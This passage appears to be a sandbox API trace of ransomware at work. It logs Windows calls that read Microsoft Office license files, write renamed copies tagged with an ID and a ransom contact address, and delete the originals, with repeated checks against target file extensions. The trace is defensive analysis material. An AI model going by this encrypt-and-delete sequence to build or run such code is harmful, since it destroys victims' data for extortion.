	[0161.356] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0161.357] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms")) returned 1
	[0161.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75
	[0161.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75
	[0161.358] lstrlenW (lpString=".doc") returned 4
	[0161.358] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0161.358] lstrlenW (lpString=".docx") returned 5
	[0161.358] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0161.358] lstrlenW (lpString=".pdf") returned 4
	[0161.358] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0161.358] lstrlenW (lpString=".xls") returned 4
	[0161.358] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0161.358] lstrlenW (lpString=".xlsx") returned 5
	[0161.358] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0161.358] lstrlenW (lpString=".ppt") returned 4
	[0161.358] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0161.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75
	[0161.358] lstrlenW (lpString=".zip") returned 4
	[0161.358] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0161.358] lstrlenW (lpString=".rar") returned 4
	[0161.462] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0161.462] lstrlenW (lpString=".bz2") returned 4
	[0161.462] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0161.462] lstrlenW (lpString=".7z") returned 3
	[0161.462] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0161.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75
	[0161.462] lstrlenW (lpString=".dbf") returned 4
	[0161.462] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0161.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75
	[0161.462] lstrlenW (lpString=".1cd") returned 4
	[0161.462] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0161.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75
	[0161.463] lstrlenW (lpString=".jpg") returned 4
	[0161.463] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0161.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75
	[0161.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75
	[0161.463] lstrlenW (lpString=".doc") returned 4
	[0161.463] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0161.463] lstrlenW (lpString=".docx") returned 5
	[0161.463] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0161.463] lstrlenW (lpString=".pdf") returned 4
	[0161.463] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0161.463] lstrlenW (lpString=".xls") returned 4
	[0161.463] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0161.463] lstrlenW (lpString=".xlsx") returned 5
	[0161.463] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0161.463] lstrlenW (lpString=".ppt") returned 4
	[0161.463] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0161.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75
	[0161.463] lstrlenW (lpString=".zip") returned 4
	[0161.463] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0161.463] lstrlenW (lpString=".rar") returned 4
	[0161.463] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0161.463] lstrlenW (lpString=".bz2") returned 4
	[0161.464] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0161.464] lstrlenW (lpString=".7z") returned 3
	[0161.464] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0161.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75
	[0161.464] lstrlenW (lpString=".dbf") returned 4
	[0161.464] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0161.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75
	[0161.464] lstrlenW (lpString=".1cd") returned 4
	[0161.464] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0161.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75
	[0161.464] lstrlenW (lpString=".jpg") returned 4
	[0161.464] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0161.464] lstrcmpiW (lpString1=".xrm-ms", lpString2=".yG") returned -1
	[0161.464] lstrlenW (lpString="AccessR_Trial-ppd.xrm-ms") returned 24
	[0161.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0161.544] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=20901) returned 1
	[0161.544] CloseHandle (hObject=0x548) returned 1
	[0161.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms")) returned 0x220
	[0161.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0161.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0161.545] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.545] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0161.547] GetLastError () returned 0x0
	[0161.547] ReadFile (in: hFile=0x548, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x51a5, lpOverlapped=0x0) returned 1
	[0161.576] WriteFile (in: hFile=0x38c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x51b0, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x51b0, lpOverlapped=0x0) returned 1
	[0161.578] ReadFile (in: hFile=0x548, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0161.578] WriteFile (in: hFile=0x38c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x104, lpOverlapped=0x0) returned 1
	[0161.578] SetEndOfFile (hFile=0x38c) returned 1
	[0161.578] CloseHandle (hObject=0x38c) returned 1
	[0161.578] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.578] SetEndOfFile (hFile=0x548) returned 1
	[0161.582] CloseHandle (hObject=0x548) returned 1
	[0161.582] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0161.583] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms")) returned 1
	[0161.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74
	[0161.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74
	[0161.584] lstrlenW (lpString=".doc") returned 4
	[0161.584] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0161.584] lstrlenW (lpString=".docx") returned 5
	[0161.584] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0161.584] lstrlenW (lpString=".pdf") returned 4
	[0161.584] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0161.584] lstrlenW (lpString=".xls") returned 4
	[0161.585] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0161.585] lstrlenW (lpString=".xlsx") returned 5
	[0161.585] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0161.585] lstrlenW (lpString=".ppt") returned 4
	[0161.585] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0161.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74
	[0161.585] lstrlenW (lpString=".zip") returned 4
	[0161.585] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0161.585] lstrlenW (lpString=".rar") returned 4
	[0161.585] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0161.585] lstrlenW (lpString=".bz2") returned 4
	[0161.585] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0161.585] lstrlenW (lpString=".7z") returned 3
	[0161.585] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0161.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74
	[0161.585] lstrlenW (lpString=".dbf") returned 4
	[0161.585] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0161.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74
	[0161.585] lstrlenW (lpString=".1cd") returned 4
	[0161.585] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0161.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74
	[0161.586] lstrlenW (lpString=".jpg") returned 4
	[0161.586] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0161.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74
	[0161.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74
	[0161.586] lstrlenW (lpString=".doc") returned 4
	[0161.586] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0161.586] lstrlenW (lpString=".docx") returned 5
	[0161.586] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0161.586] lstrlenW (lpString=".pdf") returned 4
	[0161.586] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0161.586] lstrlenW (lpString=".xls") returned 4
	[0161.586] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0161.586] lstrlenW (lpString=".xlsx") returned 5
	[0161.586] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0161.586] lstrlenW (lpString=".ppt") returned 4
	[0161.586] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0161.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74
	[0161.586] lstrlenW (lpString=".zip") returned 4
	[0161.586] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0161.586] lstrlenW (lpString=".rar") returned 4
	[0161.586] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0161.586] lstrlenW (lpString=".bz2") returned 4
	[0161.587] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0161.587] lstrlenW (lpString=".7z") returned 3
	[0161.587] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0161.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74
	[0161.587] lstrlenW (lpString=".dbf") returned 4
	[0161.587] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0161.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74
	[0161.587] lstrlenW (lpString=".1cd") returned 4
	[0161.587] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0161.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74
	[0161.587] lstrlenW (lpString=".jpg") returned 4
	[0161.587] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0161.587] lstrcmpiW (lpString1=".xrm-ms", lpString2=".yG") returned -1
	[0161.587] lstrlenW (lpString="AccessR_Trial-ul-oob.xrm-ms") returned 27
	[0161.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0161.588] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=11591) returned 1
	[0161.589] CloseHandle (hObject=0x548) returned 1
	[0161.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms")) returned 0x220
	[0161.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0161.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0161.590] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.590] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0161.591] GetLastError () returned 0x0
	[0161.591] ReadFile (in: hFile=0x548, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x2d47, lpOverlapped=0x0) returned 1
	[0161.614] WriteFile (in: hFile=0x38c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0161.615] ReadFile (in: hFile=0x548, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0161.616] WriteFile (in: hFile=0x38c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x10a, lpOverlapped=0x0) returned 1
	[0161.616] SetEndOfFile (hFile=0x38c) returned 1
	[0161.616] CloseHandle (hObject=0x38c) returned 1
	[0161.616] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.616] SetEndOfFile (hFile=0x548) returned 1
	[0161.620] CloseHandle (hObject=0x548) returned 1
	[0161.621] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0161.621] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms")) returned 1
	[0161.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77
	[0161.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77
	[0161.622] lstrlenW (lpString=".doc") returned 4
	[0161.622] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0161.622] lstrlenW (lpString=".docx") returned 5
	[0161.622] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0161.623] lstrlenW (lpString=".pdf") returned 4
	[0161.623] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0161.623] lstrlenW (lpString=".xls") returned 4
	[0161.623] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0161.623] lstrlenW (lpString=".xlsx") returned 5
	[0161.623] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0161.623] lstrlenW (lpString=".ppt") returned 4
	[0161.623] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0161.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77
	[0161.623] lstrlenW (lpString=".zip") returned 4
	[0161.623] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0161.623] lstrlenW (lpString=".rar") returned 4
	[0161.623] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0161.623] lstrlenW (lpString=".bz2") returned 4
	[0161.623] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0161.624] lstrlenW (lpString=".7z") returned 3
	[0161.624] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0161.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77
	[0161.624] lstrlenW (lpString=".dbf") returned 4
	[0161.624] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0161.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77
	[0161.624] lstrlenW (lpString=".1cd") returned 4
	[0161.624] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0161.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77
	[0161.624] lstrlenW (lpString=".jpg") returned 4
	[0161.624] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0161.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77
	[0161.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77
	[0161.624] lstrlenW (lpString=".doc") returned 4
	[0161.624] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0161.624] lstrlenW (lpString=".docx") returned 5
	[0161.624] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0161.624] lstrlenW (lpString=".pdf") returned 4
	[0161.624] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0161.624] lstrlenW (lpString=".xls") returned 4
	[0161.624] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0161.624] lstrlenW (lpString=".xlsx") returned 5
	[0161.624] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0161.624] lstrlenW (lpString=".ppt") returned 4
	[0161.625] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0161.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77
	[0161.625] lstrlenW (lpString=".zip") returned 4
	[0161.625] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0161.625] lstrlenW (lpString=".rar") returned 4
	[0161.625] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0161.625] lstrlenW (lpString=".bz2") returned 4
	[0161.625] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0161.625] lstrlenW (lpString=".7z") returned 3
	[0161.625] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0161.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77
	[0161.625] lstrlenW (lpString=".dbf") returned 4
	[0161.903] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0161.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77
	[0161.903] lstrlenW (lpString=".1cd") returned 4
	[0161.903] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0161.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77
	[0161.903] lstrlenW (lpString=".jpg") returned 4
	[0161.904] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0161.904] lstrcmpiW (lpString1=".xrm-ms", lpString2=".yG") returned -1
	[0161.904] lstrlenW (lpString="client-issuance-bridge-office.xrm-ms") returned 36
	[0161.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0162.247] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=3211) returned 1
	[0162.247] CloseHandle (hObject=0x38c) returned 1
	[0162.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms")) returned 0x220
	[0162.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0162.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0162.248] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.248] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0162.252] GetLastError () returned 0x0
	[0162.252] ReadFile (in: hFile=0x38c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0xc8b, lpOverlapped=0x0) returned 1
	[0162.254] WriteFile (in: hFile=0x42c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xc90, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0xc90, lpOverlapped=0x0) returned 1
	[0162.256] ReadFile (in: hFile=0x38c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
